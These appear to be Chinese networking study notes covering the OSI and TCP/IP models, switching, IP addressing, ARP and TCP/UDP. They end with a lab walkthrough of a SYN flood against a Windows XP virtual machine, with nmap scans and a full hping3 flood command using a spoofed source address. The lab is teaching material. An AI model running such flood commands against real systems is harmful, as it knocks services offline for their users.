目录
OSI 的七层模型 七层模型
7.应用层 产生数据
6.表示层 将数据格式化 压缩 加密等操作
5.会话层 负责建立起会话 规定 数据 在传输时使用的 IP 地址 端口号等
4.传输层(运输层) 实现 数据端口 --- 端口 通信(端到端通信) 端口---对应特点的应用服务
3.网络层 (网际层) 实现数据 主机到主机的通信 站点到站点 (IP地址----IP地址)
-
负责数据的路由
2.数据链路层 从一个MAC 地址(物理地址)到另一个MAC 地址直接的通信 数据从哪一张网卡 到另外一张网卡
-
负责链路之间的,不同的传输介质之间的数据传递
1.物理层 将数据 转换成 二进制信号 (比特流 )进行传递 和传输介质相关
前三层负责传输完整的数据
后三层负责传输过程中的各种参数
每一层的数据都叫做一个 PDU 协议 数据单元 (protocol data unit )
apdu ppdu spdu
传输层 segment 数据段
网络层 packet 数据包
数据链路层 frame 数据帧
网络层 bit 比特流
TCP/IP 模型
对应关系:
数据单元
每一层的数据都叫做一个 PDU 协议 数据单元 (protocol data unit )
下四层:
apdu ppdu spdu
传输层 segment 数据段
网络层 packet 数据包
数据链路层 frame 数据帧
物理层 bit 比特流
对等层通讯
垂直方向:提供服务
下一层为上一层 提供服务
下一层 封装上一层,最后形成数据帧,在传递的过程中,物理层将数据帧转换成比特流。
水平方向:对等通信
对等通信
网络设备处理数据的流程
封装和解封装
发送数据,要把数据,封装起来(装包) 接收数据,要把数据进行解封装(拆包) 接收端工作在哪一层,就把数据解封装到哪一层 如果将接受到的数据再去 转发 ,还需要 将数据 再次进行封装
TCP/IP 协议封装和解封装的过程
协议为什么要分层
每一层的职责是相互独立的 某一次的参数发生变化,与其它层是不会相互影响的 对于开发的角度,如果要开发一个新的应用协议,不需要再去考虑其他层 如何开发,节约时间节约成本,提高效率,维护起来方便 OSI参考模型是一个标准的模型,某些协议,不需要这七层全部的加入来进行 比如 ARP协议 只需要封装 数据链路层和他的数据部分即可。比如 ICMP协议 ,只封装数据链路层、网络层即可。对于协议的应用更加灵活。 ....
TCP/IP协议栈常见的安全风险
应用层:Web安全(渗透测试)
物理层
为传输数据所需要的物理链路创建、维持、拆除
特性
-
机械 如:网线水晶头
-
水晶接头:
-
引线数目:8
-
排列顺序:
-
T568A
-
T568B:橙白 橙 绿白 蓝 蓝白 绿 棕白 棕
-
-
-
光纤接头
-
电子 指明在接口电缆的各条线上出现的电压的范围
-
如以太网线,8颗芯 其中4跟带有电压,负责数据通信
-
-
功能 指明某条直线上出现的某一电平的电压表示某种意义
-
规程 指明对于不同功能的各种可能事件的出现顺序。
-
如 :事件A : 10101010 事件B :10101011
-
编码格式
曼彻斯特
差分曼彻斯特
信道复用
就是同时公用一条信道来进行信息传输。
传输介质
电磁波
光纤
同轴电缆
以太网线
物理层的安全风险
-
物理破坏
-
人为
-
自然环境
-
机房位置不能处于地下室
-
机房的环境 温度
-
湿度 高(冷凝水) 低 (静电)
-
-
-
窃听
数据链路层
工作在OSI模型的第二层-------> 二层
为网络层提供服务------>将封装到网络层的数据,进行数据传输
链路
链路:从一个结点到相邻结点的一段物理线路,而中间没有任何的交换结点。
链路按照传输介质:如 wierless ----> 802.11、以太网---->Ethernet 2 、802.3、光纤、PPP链路(ppp协议)等
数据链路层会将数据封装成 帧
数据链路层解决的三个问题
-
封装成帧 将上层数据 加上帧头 (源目MAC地址和type字段)和帧尾(检验数据)
-
数据帧的结构:数据帧头部+数据部分+帧尾
-
帧头部 主要是源、目MAC地址
-
type字段 标明上层协议是什么
-
-
-
差错检测
-
基于 帧尾的 sumcheck 校验和 ,用来校验整个数据帧的完整性
-
基于帧尾校验和(sum check)来实现
-
可靠传输
-
能够保障 发送者发送什么。接受者就能够接收到什么
-
组网类型
-
共享型网络:所有的设备都处于一个冲突域
-
冲突域 一个冲突域也是一个局域网
-
争用型网络(没有规则,随机)
-
传输数据依靠
-
集线器。形成总线型网络。工作中物理层。
-
-
确定型介质访问(有序访问)
-
令牌环网络 CSMA/CD ---> CS:载波侦听 MA:多路访问 CD:碰撞检测
-
有序的访问控制协议
-
-
-
非共享型网络 :交换网络
-
交换机--------->提供一个广播域网络
-
能够实现主机间单播通信
-
解决了冲突域的问题
-
基于交换机来实现的
-
交换机的接口独享一个宽度
-
所有设备处于一个广播域 或 局域网
-
局域网的两种形式
冲突域
-
基于集线器
-
争用型网络中 使用的技术
广播域
一台交换机默认的所有接口下的设备,都在一个广播域下。
如果目的MAC地址是一个具体的MAC地址的话,一般情况下,该数据会被交换机单播
如果目的MAC地址是一个非具体的MAC地址的话,有一种情况是广播,一个广播的目的MAC地址是 FFFF-FFFF-FFFFF
交换机 ------->工作中数据链路层
-
基于交换机、交换机能够实现单独的链路传输
-
交换机的工作原理:
-
交换机刚接入网络时,MAC地址表是空的
-
交换机的转发数据帧,依靠MAC地址表
-
交换机接受数据的时候需要解封装并学习源MAC地址
-
交换机如何发送数据
-
情况1 查看CAM表是否存在和目的MAC地址相关的信息。如果有,把数据单播发送该数据帧到目的的接口。
-
情况2 如果没有 则将数据帧泛洪发送到该局域网的所有接口
-
-
-
CAM的特点
-
CAM表的条目是有老化时间的
-
CAM表是有容量的
-
如果CAM表满了,会发生双向泛洪,交换机无法学习。
-
-
-
交换机的特性
-
通过交换机的1个接口,可以学习到多个MAC地址
-
一个MAC地址,只能被一个接口学习(对应一个接口)
-
MAC地址表容量有限
-
单播通信:数据帧中的目的MAC地址是具体的。
广播通信:MAC地址全F
数据链路层的设备
交换机
-
交换机:交换机工作在OSI模型的第二层(数据链路层)
-
它可以为接入交换机的任意两个网络节点提供独享的电信号通路:交换机拥有一条高带宽的背部总线和内部交接矩阵,在同一时刻可进行多个端口对之间的数据传输。
交换机接口的数据传输模式
-
全双工 能同时进行接受和发送数据,相当于两个人打电话
-
半双工 能发送信号,也能接受信号,但是不能同时进行
-
单工 只能发送或者接受信号的设备 如:广播电视台和收音机
-
-
自适应
交换机的工作原理
-
交换机工作 依赖于 MAC地址表
-
MAC地址表:上面记录了 接口和 与该接口相连设备的MAC地址
-
-
1.交换机接受数据帧,会解封装该数据帧的 数据链路层(源MAC地址和目的MAC),学习源MAC地址
-
丰富的MAC地址表形式:
-
1.管理员手动输入(很少使用)
-
2.交换机自己学习
-
交换机的一个接口可以学习多个MAC地址
但一个MAC地址只能被一个交换机学习
2.交换机要转发数据帧,会查询 目的MAC地址和出接口的对应关系
-
1.如果交换机找到该对应关系,则将数据帧发送往对应的接口
-
2.如果交换机没有找到对应关系,则将数据帧 泛洪到该广播域下的每一台主机上。
-
-
关于交换机的MAC地址表
-
刚接入网络时,交换机的MAC地址表是空的
-
交换机学习到的 接口与MAC地址对应关系的信息叫做MAC地址表的条目。MAC地址表的条目 使用寿命(默认300s)
-
交换机的MAC地址表的容量是有限的。
-
关于交换机学习MAC地址,如
接口1-----AA
,当交换机从其他接口(接口2)又学习到了AA这个MAC地址,此时会将原来的接口1----AA
的对应关系删除,重新填写一个接口2-----AA
,将MAC地址表更新。
-
交换机转发数据的原理:
数据链路层的攻击
-
MAC欺骗
-
基于交换机的特性:一个MAC地址,只能被一个接口学习到
-
-
MAC地址泛洪攻击
网络层(IP)
实现 站点 到 站点 之间的通信
1.给每一个站点 定义IP地址:IP的编址
2.IP的寻址------>依靠路由技术
3.工作网络层的设备是 路由器
网络层实现分包与组包
如果一台设备想要在 参与到 网络中,必须要有IP地址
网络层提供了3个工作机制来实现IP数据的传输
IP编址
-
给每一台设备 分配一个IP地址。
-
目前使用的IP地址 IPv4 IPv6
-
IP地址的定义:
-
-
IP地址是主机 或者 路由器的 “身份证号”
IP地址的表示形式
-
二进制IPv4地址的长度是32位 ---> 一个有多少个IPv4地址:2^32个
-
点分二进制的表示形式
-
点分十进制的表示形式
-
-
IP地址要分为5类
A、B、C、D、E五类
-
IP地址的两个部分:网络位 + 主机位
主机位的个数:
A类: ----2^24 16777216
B类: ----2^16 66536
C类: ----2^8 256
-
网络位 表示 是哪一个局域网
-
主机位 表示在该局域网中 具体的 IP 地址
-
每一类IP地址当中,都会有私有地址
-
私有IP地址最初用于 科研(不允许加入互联网)
-
私有地址在不同的局域网中,可以重复使用
-
-
-
公有地址 除了私有地址以外的地址,都是公有地址。在网络中是唯一的,不能重复使用。
-
解决IP地址浪费的问题:
1.子网划分
2.子网掩码
用来表示IP地址当中,哪一位是网络位,哪一位是主机位
-
特点
-
1 对应的位 是网络位,0 对应的位 是主机位。
-
从左到右,必须是连续的1和连续的0
-
3.VLSM(可变长度子网掩码)---------解决IP地址浪费的问题
子网掩码变长,子网多了,每个子网的地址(主机)变少了。
子网掩码变长多少n位,就会出现2的n次方个子网。然后每个子网的主机位(主机个数)就是原来的1/(2^n)
4.IP地址的无类化
子网掩码可以变长,也可以变短,按照此种方式进行IP地址划分,可以不用考虑IP地址分类的问题。
IPv4地址的另一个问题------ 数量不够
IP地址不够用
-
IPv6 地址 2^128个,一般使用16进制来表示。全球唯一!!!
-
万物互联------物联网技术。
IP路由
决定数据包要去往目的地址,从哪一个方向去转发。
路由
从一台主机 发往其他 网段的信息(想夸网段通信),经过路由器,进行路由表的查询,转发到其他能到达该目的接口的行为。
路由表
路由表是路由器转发数据的依据(MAC地址表是交换机转发数据的依据, 区别:交换机查不到数据会泛洪,但路由器查不到数据会丢弃该数据包)
IP分片
如果数据过大,需要将数据拆分后去传递
-
MTU max transport unit 最大传输单元 MTU值在以太网中是1500字节。
-
比如:在以太网上(一个以太网数据帧) 传输数据(封装的数据部分),最大为1500字节。
IP报文(IP包头)------------> 一段数据
-
IP报文头数据的大小,默认为20 字节
-
分片:
IP报文头
ARP协议
ARP协议的特性
ARP攻击
-
arp的欺骗:单独欺骗一方
-
arp中间人的攻击:通信双方都欺骗
场景:
传输层
1.实现端口 到 端口的通信
20、21------ FTP
22 SSH
23 Telnet
53 DNS
80 HTTP
2.端口号:即程序的地址
端口范围:0-65535
源端口号: 49152---65535之间的随机端口号
目的端口号: 0-1023或者1024-49151固定的端口号,这些端口号都对应了固定的应用服务
3.传输层的两个协议
TCP
TCP为应用服务提供一种面向连接的、可靠的连接
-
TCP的首部格式
-
面向连接
-
三次握手:在正式的数据传输之前,先建立连接通道
-
四次挥手:数据传输结束要断开连接
三次握手:
-
四次挥手:
-
可靠传输
-
确认和重传
每一个数据发送到对方,对方会回复一个 确认报文
如果发送者向目标发送了某个数据,没有收到该目标的回复报文,则会发生数据重传!
-
分段重组
-
tcp的MSS: 1460字节数据
TCP会将 MSS大小 数据 进行 分段(segment)
通过分段数据的序列号进行重组
-
-
流量控制
-
慢启动和拥塞控制
-
滑动窗口值
-
UDP 用户数据报协议
UDP是不可靠的
面向无连接的,不可靠!
传输层的安全威胁
UDP的 拒绝服务攻击
TCP的半开连接
SYN Flood攻击实验
也叫SYN半开连接实验
实验原理:
1.实验准备:
将kali 和靶机(win XP)设置在同一个网段(Vmware8网卡)
2.在kali上查看自己的IP地址所在的网段,根据信息,进行该网段内的ip地址扫描(信息收集)
ip addr
或者ifconfig
3.查看完kali的ip地址之后,进行该网段IP的扫描
nmap -sP 192.168.100.0/24
4.找到XP系统对应的ip 进行扫描,如果不知道就全部扫描一遍
nmap -sV 192.168.100.0/24
5.切记Windows XP防火墙要关闭!!!
6.查看开发的端口,对应进行SYN半开连接攻击。
攻击前后对照:
攻击前:查看XP任务管理器的cpu使用率
攻击后:查看XP任务管理器的cpu使用率
攻击前:
攻击后:
攻击命令:
hping3 -q -n -a 9.9.9.9 -S -s 53 --keep -p 135 --flood 192.168.100.137 -a 指定源IP地址 9.9.9.9 为攻击者 伪造的ip地址 -S 使用的供给方式为 SYN 半开连接攻击 -s 指定源端口号 53为攻击者伪造的端口号 -p 指定目标端口号 使用 扫描到的端口号
抓包查看: